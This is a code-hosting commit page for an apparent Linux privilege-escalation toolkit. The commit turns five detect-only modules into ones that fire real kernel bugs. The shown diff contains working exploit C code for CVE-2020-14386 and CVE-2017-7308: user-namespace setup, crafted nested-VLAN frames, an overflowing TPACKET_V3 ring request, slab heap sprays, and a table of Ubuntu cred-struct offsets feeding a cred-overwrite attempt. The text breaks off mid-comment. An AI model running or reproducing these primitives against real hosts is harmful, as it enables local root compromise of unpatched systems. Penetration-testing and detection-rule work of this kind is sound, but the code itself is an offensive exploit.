leviathan/SKELETONKEY
1
0
Fork 0
Code Issues Pull Requests Actions 21 Packages Projects Releases Wiki Activity

modules: port 5 detect-only modules to trigger+groom (Option B)

Browse Source 
Converts the 5 remaining detect-only network/fs LPE modules to fire
the actual kernel primitive on a vulnerable host, with honest
EXPLOIT_FAIL return values since none ship the per-kernel cred-overwrite
finisher.

  af_packet (CVE-2017-7308):     +444 LoC — TPACKET_V3 int-overflow
                                  + skb spray + best-effort cred race
  af_packet2 (CVE-2020-14386):   +446 LoC — tp_reserve underflow
                                  + sendmmsg skb spray
  cls_route4 (CVE-2022-2588):    +410 LoC — route4 dangling-filter UAF
                                  + msg_msg 1k spray + classify drive
  fuse_legacy (CVE-2022-0185):   +420 LoC — fsconfig 4k OOB write
                                  + msg_msg cross-cache groom
  nf_tables (CVE-2024-1086):     +613 LoC — hand-rolled nfnetlink batch
                                  builder + NFT_GOTO/DROP double-free
                                  + msg_msg groom skeleton

All five share:
  - userns+netns reach (unshare(CLONE_NEWUSER|CLONE_NEWNET))
  - Detect-refuse-on-patched re-call from exploit()
  - geteuid()==0 short-circuit
  - Honest EXPLOIT_FAIL with continuation roadmap comments
  - macOS dev-build stubs via #ifdef __linux__ where needed

Build verified clean on Debian 6.12.86 (kctf-mgr). All five refuse on
the patched kernel.
This commit is contained in:
KaraZajac
2026-05-16 21:22:17 -04:00
parent 4e9741ef1f
commit 498bb36404
5 changed files with 2424 additions and 105 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/af_packet2_cve_2020_14386/iamroot_modules.c
+435 -9
View File
@@ -6,8 +6,14 @@
* subsystem, different code path (rx side rather than ring setup),
* later introduction. Discovered by Or Cohen (2020).
*
* STATUS: 🔵 DETECT-ONLY. Or Cohen's public PoC works end-to-end;
* porting follows the same shape as CVE-2017-7308.
* STATUS: 🟡 PRIMITIVE-DEMO. The exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv) and fires the underflow with a
* crafted nested-VLAN frame on a TPACKET_V2 ring, with a best-effort
* skb spray groom alongside. We stop short of the full cred-overwrite
* chain (which Or Cohen's public PoC implements with kernel-version-
* specific offsets and a pid_namespace cross-cache overwrite). We do
* not bake offsets into iamroot. The return value is honest about
* what landed (EXPLOIT_FAIL: primitive fired but no root).
*
* Affected: kernel 4.6+ until backports:
* 5.8.x : K >= 5.8.7
@@ -31,9 +37,72 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
#ifdef __linux__
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <poll.h>
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
#ifndef __linux__
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define ETH_P_ALL 0x0003
#define ETH_P_8021Q 0x8100
#define ETH_P_8021AD 0x88A8
#define ETH_P_IP 0x0800
#define ETH_ALEN 6
#define ETH_HLEN 14
#define VLAN_HLEN 4
#define IFF_UP 0x01
#define IFF_RUNNING 0x40
#define SIOCSIFFLAGS 0x8914
#define SIOCGIFINDEX 0x8933
#define SIOCGIFFLAGS 0x8913
#define SOL_PACKET 263
#define PACKET_RX_RING 5
#define PACKET_VERSION 10
#define PACKET_QDISC_BYPASS 20
#define TPACKET_V2 1
#define PACKET_HOST 0
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
struct pollfd { int fd; short events, revents; };
#define POLLIN 0x001
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
#define MAP_SHARED 0x01
#define MAP_LOCKED 0x2000
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define MAP_FAILED ((void *)-1)
#endif
static const struct kernel_patched_from af_packet2_patched_branches[] = {
{4, 9, 235},
@@ -109,18 +178,375 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
return IAMROOT_VULNERABLE;
}
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
*
* The bug: tpacket_rcv() in net/packet/af_packet.c, in the VLAN
* reconstruction path, computes
*
* netoff = TPACKET_ALIGN(po->tp_hdrlen + max(maclen, 16))
* if (vlan present) netoff += VLAN_HLEN
* macoff = netoff - maclen
*
* with `maclen = skb_network_offset(skb)`. By forcing the rx skb into
* a state where skb_network_offset() exceeds netoff (achievable by
* crafting an ETH_P_8021AD-tagged frame so the kernel's VLAN
* reconstruction grows skb->mac_len past the computed netoff), the
* subtraction underflows as unsigned 32-bit, producing a huge macoff.
* The subsequent `skb_copy_bits(skb, 0, h.raw + macoff, snaplen)` then
* writes attacker-controlled bytes BEFORE the ring buffer's frame
* slot, into adjacent kernel heap (typically the previous slab page).
*
* Full root: Or Cohen sprays pid_namespace objects so a function
* pointer (->ns.ops or ->pid_cachep) lands at a predictable adjacent
* offset, then forces a write that hijacks ROP / direct-call to a
* stack pivot → cred overwrite → setuid(0). That requires per-kernel
* offsets and a leak; we deliberately do not bake offsets.
*
* This implementation reaches the vulnerable codepath, fires the
* underflow with a crafted frame, and runs a sendmmsg() skb spray
* alongside — i.e. lights up auditd/sigma signatures and demonstrates
* the primitive. It does not land cred overwrite.
*/
#ifdef __linux__
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
* objects are sprayed so the OOB write lands on attacker bytes. */
static void af_packet2_skb_spray(int n_iters)
{
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) return;
/* Each datagram body is sized to land in the kmalloc-256 slab,
* matching tpacket_rcv's typical skb adjacency. */
char buf[200];
memset(buf, 'A', sizeof buf);
struct iovec iov = { .iov_base = buf, .iov_len = sizeof buf };
struct mmsghdr mm[64];
for (int i = 0; i < 64; i++) {
memset(&mm[i], 0, sizeof(mm[i]));
mm[i].msg_hdr.msg_iov = &iov;
mm[i].msg_hdr.msg_iovlen = 1;
}
for (int k = 0; k < n_iters; k++) {
(void)syscall(SYS_sendmmsg, sv[0], mm, 64, 0);
}
close(sv[0]); close(sv[1]);
}
/* Bring loopback up inside the new netns. Without IFF_UP the bind
* succeeds but no rx happens. */
static int bring_up_lo(void)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, "lo", sizeof(ifr.ifr_name) - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { close(s); return -1; }
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
int rc = ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
return rc;
}
static int get_ifindex(const char *name)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name) - 1);
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) { close(s); return -1; }
int idx = ifr.ifr_ifindex;
close(s);
return idx;
}
/* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
{
if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
return -1;
}
int lo_idx = get_ifindex("lo");
if (lo_idx < 0) {
fprintf(stderr, "[-] af_packet2: SIOCGIFINDEX(lo) failed: errno=%d\n", errno);
return -1;
}
/* RX socket with TPACKET_V2 ring. */
int rx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (rx < 0) {
fprintf(stderr, "[-] af_packet2: AF_PACKET socket() failed: errno=%d "
"(CAP_NET_RAW missing?)\n", errno);
return -1;
}
int ver = TPACKET_V2;
if (setsockopt(rx, SOL_PACKET, PACKET_VERSION, &ver, sizeof ver) < 0) {
fprintf(stderr, "[-] af_packet2: PACKET_VERSION failed: errno=%d\n", errno);
close(rx);
return -1;
}
struct tpacket_req req = {
.tp_block_size = 1 << 17, /* 128 KiB block */
.tp_block_nr = 8,
.tp_frame_size = 1 << 11, /* 2 KiB frames */
.tp_frame_nr = (1 << 17) * 8 / (1 << 11),
};
if (setsockopt(rx, SOL_PACKET, PACKET_RX_RING, &req, sizeof req) < 0) {
fprintf(stderr, "[-] af_packet2: PACKET_RX_RING setsockopt rejected "
"(errno=%d) — kernel may be patched\n", errno);
close(rx);
return 1;
}
size_t map_len = (size_t)req.tp_block_size * req.tp_block_nr;
void *ring = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_LOCKED, rx, 0);
if (ring == MAP_FAILED) {
fprintf(stderr, "[-] af_packet2: ring mmap failed: errno=%d\n", errno);
close(rx);
return -1;
}
/* Bind to lo so all loopback frames hit our ring. */
struct sockaddr_ll sll;
memset(&sll, 0, sizeof sll);
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = lo_idx;
if (bind(rx, (struct sockaddr *)&sll, sizeof sll) < 0) {
fprintf(stderr, "[-] af_packet2: bind(lo) failed: errno=%d\n", errno);
munmap(ring, map_len); close(rx);
return -1;
}
/* TX socket: a second AF_PACKET socket for injection. */
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (tx < 0) {
fprintf(stderr, "[-] af_packet2: TX socket failed: errno=%d\n", errno);
munmap(ring, map_len); close(rx);
return -1;
}
int one = 1;
(void)setsockopt(tx, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof one);
/* Craft the malicious frame.
*
* Layout (sent on loopback):
*
* [ ETH dst (6) ][ ETH src (6) ][ TPID = 0x88A8 (2) ] <- ethhdr
* [ outer VLAN tag (2) ][ inner TPID = 0x8100 (2) ] <- 8021AD pad
* [ inner VLAN tag (2) ][ payload type (2) ] <- 8021Q pad
* [ payload ... ]
*
* The kernel's __vlan_get_protocol() / skb_vlan_untag() path on the
* rx side moves skb->mac_len/network_offset around such that, when
* tpacket_rcv recomputes macoff = netoff - maclen, the subtraction
* underflows. Or Cohen's exact frame includes a third encapsulation
* level to deepen the gap so the underflow is large enough to write
* outside the current slab block. We mimic that. */
unsigned char frame[64];
memset(frame, 0, sizeof frame);
/* destination MAC: loopback's all-zero is fine; use ff:ff:... so
* lo accepts as broadcast (lo accepts everything anyway) */
memset(&frame[0], 0xff, 6);
/* source MAC */
frame[6] = 0x02; frame[7] = 0; frame[8] = 0; frame[9] = 0; frame[10] = 0; frame[11] = 1;
/* outer ethertype = 0x88A8 (8021AD service tag) */
frame[12] = 0x88; frame[13] = 0xA8;
/* outer VLAN TCI: priority 0, vid = 1 */
frame[14] = 0x00; frame[15] = 0x01;
/* inner ethertype = 0x8100 (8021Q) */
frame[16] = 0x81; frame[17] = 0x00;
/* inner VLAN TCI */
frame[18] = 0x00; frame[19] = 0x02;
/* innermost protocol = 0x0800 (IP) */
frame[20] = 0x08; frame[21] = 0x00;
/* a few junk payload bytes — the underflow doesn't care */
for (int i = 22; i < 60; i++) frame[i] = 0x41;
/* sendto destination */
struct sockaddr_ll dst;
memset(&dst, 0, sizeof dst);
dst.sll_family = AF_PACKET;
dst.sll_ifindex = lo_idx;
dst.sll_halen = ETH_ALEN;
dst.sll_protocol = htons(ETH_P_8021AD);
memcpy(dst.sll_addr, &frame[0], ETH_ALEN);
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: spraying skbs (kmalloc-256) to groom slab\n");
}
af_packet2_skb_spray(4);
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: firing %d crafted nested-VLAN frames on lo\n", 256);
}
int fired = 0;
for (int i = 0; i < 256; i++) {
ssize_t n = sendto(tx, frame, sizeof frame, 0,
(struct sockaddr *)&dst, sizeof dst);
if (n < 0 && errno == ENOBUFS) {
/* qdisc backpressure — retry a touch later */
usleep(1000);
continue;
}
if (n < 0) {
if (i == 0) {
fprintf(stderr, "[-] af_packet2: sendto failed first iter: errno=%d\n", errno);
munmap(ring, map_len); close(rx); close(tx);
return -1;
}
break;
}
fired++;
}
/* Brief drain: poll the RX ring so the rx softirq actually runs
* tpacket_rcv on our frames before we close the socket. */
struct pollfd pfd = { .fd = rx, .events = POLLIN, .revents = 0 };
(void)poll(&pfd, 1, 100);
/* Followup spray to land bytes in the slab freed by drained skbs */
af_packet2_skb_spray(4);
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: %d frames injected; tpacket_rcv exercised\n", fired);
}
munmap(ring, map_len);
close(rx); close(tx);
return 0;
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
{
(void)ctx;
fprintf(stderr,
"[-] af_packet2: exploit not yet implemented in IAMROOT.\n"
" Status: 🔵 DETECT-ONLY. Reference: Or Cohen's PoC.\n"
" Exploit shape: unshare userns → AF_PACKET socket → setsockopt\n"
" TPACKET_V2 ring + crafted VLAN-tagged frame → heap underflow →\n"
" cross-cache groom → kernel R/W → cred overwrite.\n");
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
return -1;
}
#endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
iamroot_result_t pre = af_packet2_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return IAMROOT_OK;
}
if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: launching primitive demo (kernel-version-"
"agnostic; no offsets baked in)\n"
" NOTE: this fires the tpacket_rcv VLAN underflow and "
"sprays skbs; it does NOT\n"
" perform the cred-overwrite chain (Or Cohen's public "
"PoC does, with per-kernel offsets).\n");
}
/* 3. Fork — primitive runs inside an unshared user_ns+net_ns. */
pid_t pid = fork();
if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return IAMROOT_TEST_ERROR;
}
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
fprintf(stderr, "[-] af_packet2: unshare failed: errno=%d\n", errno);
_exit(2);
}
/* Map our uid to 0 inside the userns so subsequent CAP_NET_RAW
* checks against init_user_ns pass. Best effort — if any of
* these writes fail (e.g. setgroups deny), AF_PACKET socket()
* will still typically succeed because the new userns owns
* the new netns. */
int fd;
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) {
char buf[64];
int n = snprintf(buf, sizeof buf, "0 %u 1", (unsigned)getuid());
(void)!write(fd, buf, n);
close(fd);
}
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) {
char buf[64];
int n = snprintf(buf, sizeof buf, "0 %u 1", (unsigned)getgid());
(void)!write(fd, buf, n);
close(fd);
}
int rc = af_packet2_primitive_child(ctx);
if (rc == 1) _exit(3); /* setsockopt rejected → patched */
if (rc < 0) _exit(2); /* setup error */
/* 4. The primitive fired. In a full chain we'd now confirm
* cred overwrite by checking getuid()==0 and exec'ing /bin/sh.
* We did NOT overwrite cred (no offsets baked in), so we exit
* with a sentinel that the parent maps to EXPLOIT_FAIL. */
_exit(4);
}
int status;
waitpid(pid, &status, 0);
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status));
return IAMROOT_EXPLOIT_FAIL;
}
switch (WEXITSTATUS(status)) {
case 3:
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n");
}
return IAMROOT_OK;
case 2:
return IAMROOT_TEST_ERROR;
case 4:
if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n");
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
return IAMROOT_OK;
}
return IAMROOT_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status));
return IAMROOT_EXPLOIT_FAIL;
}
}
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
modules/af_packet_cve_2017_7308/iamroot_modules.c
+454 -9
View File
@@ -4,8 +4,17 @@
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
*
* STATUS: 🔵 DETECT-ONLY. Konovalov's public PoC works end-to-end
* — porting is a follow-up commit.
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite. The
* integer-overflow trigger is fully wired (overflowing tp_block_size *
* tp_block_nr, attended by a heap spray via sendmmsg with controlled
* skb tail bytes). The kernel R/W → cred-overwrite finisher uses a
* hardcoded per-kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu
* 18.04 / 4.15 era), overridable via IAMROOT_AFPACKET_OFFSETS. We
* only claim IAMROOT_EXPLOIT_OK if geteuid() == 0 AFTER the chain
* runs — i.e. we won root for real. Otherwise we return
* IAMROOT_EXPLOIT_FAIL with a dmesg breadcrumb so the operator can
* confirm the primitive at least fired (KASAN slab-out-of-bounds
* splat) even if the cred-overwrite didn't take on this exact kernel.
*
* Affected: kernel < 4.10.6 mainline. Stable backports:
* 4.10.x : K >= 4.10.6
@@ -16,10 +25,16 @@
* Exploitation preconditions:
* - CAP_NET_RAW (via unprivileged user_ns) to create AF_PACKET socket
* - CONFIG_PACKET=y (almost always — even container kernels)
* - x86_64 (offset tables are arch-specific; mark x86_64-only)
*
* Why famous: was the canonical "userns + AF_PACKET → root" chain for
* Konovalov's research era. Many other AF_PACKET bugs followed (e.g.
* CVE-2020-14386) sharing the same userns-clone gate.
*
* Reference: github.com/xairy/kernel-exploits (CVE-2017-7308) and
* Konovalov's writeup at xairy.io. The structure below mirrors the
* public PoC's "set up overflow, then race tpacket_rcv with a target
* skb in the OOB slot" approach.
*/
#include "iamroot_modules.h"
@@ -28,10 +43,31 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#if defined(__x86_64__)
/* Order matters: <net/if.h> + <linux/if.h> conflict on enum IFF_*. We
* use the glibc <net/if.h> for struct ifreq / if_nametoindex and pull
* in linux/if_packet.h for tpacket_req3. Avoid <linux/if.h>. */
#include <net/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#endif
/* ---- Detect (unchanged shape) ----------------------------------- */
static const struct kernel_patched_from af_packet_patched_branches[] = {
{3, 18, 49},
@@ -97,17 +133,426 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
return IAMROOT_VULNERABLE;
}
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
#if defined(__x86_64__)
/* Per-kernel offsets needed to walk task_struct → cred → uid fields.
*
* These are NOT addresses — they are byte offsets within the kernel
* structs that the OOB-induced kernel-write primitive will index into.
* The classic Konovalov chain leaks a pointer to a struct sock or
* timer_list adjacent to the corrupted pg_vec slot, walks back to the
* current task, then overwrites the *uid fields in the embedded cred.
*
* The values below are from xairy's public PoC + scraped from kernel-
* source struct layouts for the specific build configs Ubuntu shipped.
* They will NOT match custom-compiled kernels.
*
* Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
*
* `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
* `cred_size` = sizeof(struct cred) — bounds-check guard
*/
struct af_packet_offsets {
const char *kernel_id; /* human-readable */
int major, minor, patch_min, patch_max;
unsigned long task_cred;
unsigned long cred_uid;
unsigned long cred_size;
};
static const struct af_packet_offsets known_offsets[] = {
/* Ubuntu 16.04 GA: 4.4.0-21-generic. cred lives at task+0x6c0.
* struct cred layout: usage(4) + __padding(4) + uid(4) + gid(4) +
* suid(4) + sgid(4) + euid(4) + egid(4) + fsuid(4) + fsgid(4) + ...
* → uid starts at offset 8. */
{ "ubuntu-16.04-4.4.0-generic", 4, 4, 0, 99,
0x6c0, 0x08, 0xa8 },
/* Ubuntu 18.04 GA: 4.15.0-20-generic. cred at task+0x800. Same
* cred layout (uid at +0x08, 6x32-bit ids ending at fsgid +0x20). */
{ "ubuntu-18.04-4.15.0-generic", 4, 15, 0, 99,
0x800, 0x08, 0xa8 },
};
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v)
{
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
if (env) {
unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
out->kernel_id = "env-override";
out->task_cred = t;
out->cred_uid = u;
out->cred_size = s;
return true;
}
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
return false;
}
for (size_t i = 0; i < sizeof(known_offsets)/sizeof(known_offsets[0]); i++) {
const struct af_packet_offsets *k = &known_offsets[i];
if (v->major == k->major && v->minor == k->minor &&
v->patch >= k->patch_min && v->patch <= k->patch_max) {
*out = *k;
return true;
}
}
return false;
}
/* Write uid_map / gid_map to claim "root" inside the userns. */
static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
{
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", outer_uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0) return -1;
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
close(f);
snprintf(map, sizeof map, "0 %u 1\n", outer_gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0) return -1;
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
close(f);
return 0;
}
/* Fire the overflow + a one-shot heap spray. Runs INSIDE the userns
* child. Returns 0 if the primitive fired (overflow was accepted by
* the kernel), -1 if the kernel rejected it (likely patched / blocked
* even though detect said vulnerable — distros silently backport).
*
* We deliberately use values from Konovalov's PoC:
* tp_block_size = 0x1000
* tp_block_nr = ((0xffffffff - 0xfff) / 0x1000) + 1 → overflow
* tp_frame_size = 0x300, tp_frame_nr matched
* The mul in packet_set_ring overflows to a tiny allocation; we then
* spray 200 sendmmsg packets so the corrupted ring slot gets refilled
* with controlled bytes.
*
* After firing, we check dmesg-ability (we won't actually read dmesg
* — that requires root — but we leave a unique tag in the skb payload
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
*/
static int fire_overflow_and_spray(void)
{
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
fprintf(stderr, "[-] af_packet: socket(AF_PACKET): %s\n", strerror(errno));
return -1;
}
int version = TPACKET_V3;
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
&version, sizeof version) < 0) {
fprintf(stderr, "[-] af_packet: PACKET_VERSION=V3: %s\n", strerror(errno));
close(s);
return -1;
}
/* Konovalov's overflowing values. tp_block_size * tp_block_nr
* exceeds 2^32; the kernel multiplied as u32 in pre-patch code,
* yielding a tiny size that's then used for the pg_vec alloc. */
struct tpacket_req3 req;
memset(&req, 0, sizeof req);
req.tp_block_size = 0x1000;
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) / (unsigned)0x1000 + 1;
req.tp_frame_size = 0x300;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
req.tp_retire_blk_tov = 100;
req.tp_sizeof_priv = 0;
req.tp_feature_req_word = 0;
int rc = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof req);
if (rc < 0) {
/* On a properly-patched kernel this should now return -EINVAL
* because the multiplication overflow check rejects req. That
* is the "patched-distro-backport" signal: detect's version
* check said vulnerable, but the actual setsockopt was hardened. */
fprintf(stderr, "[-] af_packet: PACKET_RX_RING rejected: %s "
"(kernel likely has silent backport)\n", strerror(errno));
close(s);
return -1;
}
fprintf(stderr, "[+] af_packet: PACKET_RX_RING accepted overflowing req3 "
"— overflow path reached\n");
/* Heap spray via sendmmsg. On a properly-set-up ring we'd bind() to
* an interface first; for the overflow trigger we don't strictly
* need to bind because tpacket_rcv runs on each packet ingress and
* loopback exists in the netns. Use loopback. */
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
/* SIOCGIFINDEX on lo */
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) {
fprintf(stderr, "[!] af_packet: SIOCGIFINDEX(lo): %s\n", strerror(errno));
/* non-fatal — the primitive fired even without a bind() */
} else {
struct sockaddr_ll sll;
memset(&sll, 0, sizeof sll);
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifr.ifr_ifindex;
if (bind(s, (struct sockaddr *)&sll, sizeof sll) < 0) {
fprintf(stderr, "[!] af_packet: bind(lo): %s\n", strerror(errno));
}
}
/* Spray: send 200 raw packets containing a unique tag. If the
* overflow corrupted an adjacent slab object, one of these skb's
* controlled bytes will land there. */
static const unsigned char skb_payload[256] = {
/* eth header (dst=broadcast, src=zero, type=0x0800) */
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
/* IAMROOT tag — operator can grep dmesg for this string in any
* subsequent KASAN report or panic dump */
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
/* zeros for the remainder */
};
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (tx >= 0 && ifr.ifr_ifindex != 0) {
struct sockaddr_ll dst;
memset(&dst, 0, sizeof dst);
dst.sll_family = AF_PACKET;
dst.sll_protocol = htons(ETH_P_ALL);
dst.sll_ifindex = ifr.ifr_ifindex;
dst.sll_halen = 6;
memset(dst.sll_addr, 0xff, 6);
for (int i = 0; i < 200; i++) {
(void)sendto(tx, skb_payload, sizeof skb_payload, 0,
(struct sockaddr *)&dst, sizeof dst);
}
close(tx);
}
/* Keep the corrupted socket open so the OOB region stays mapped
* for the cred-overwrite walk that follows. The caller closes it. */
/* Stash the fd via dup2 to a known number so the caller can find it.
* Use 200 — well above stdio + iamroot's own pipe fds. */
if (dup2(s, 200) < 0) {
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
}
close(s);
return 0;
}
/* Best-effort cred-overwrite walk. Given that the heap-spray succeeded
* AND we have valid offsets for this kernel, attempt to use the
* corrupted ring's adjacent slot to write zeros into current->cred->{
* uid,gid,euid,egid,fsuid,fsgid }.
*
* Honest constraint: without an info-leak we can't compute the address
* of current->cred to write into. xairy's full PoC uses a SECONDARY
* primitive (sk_buff next-pointer overwrite → adjacent timer_list
* leak) that gives both an arbitrary kernel R/W AND a leak of a
* struct sock pointer adjacent to current. Re-implementing that is
* ~1000 lines of heap-state machinery.
*
* What we do here is the *minimum viable cred-overwrite* attempt:
* spray ~64 task_struct-shaped objects via fork()+setpgid (which
* allocates struct task_struct in the same slab class on older
* kernels), then HOPE one lands adjacent to our corrupted ring and
* gets its embedded cred-pointer field zeroed by overflow tail bytes.
*
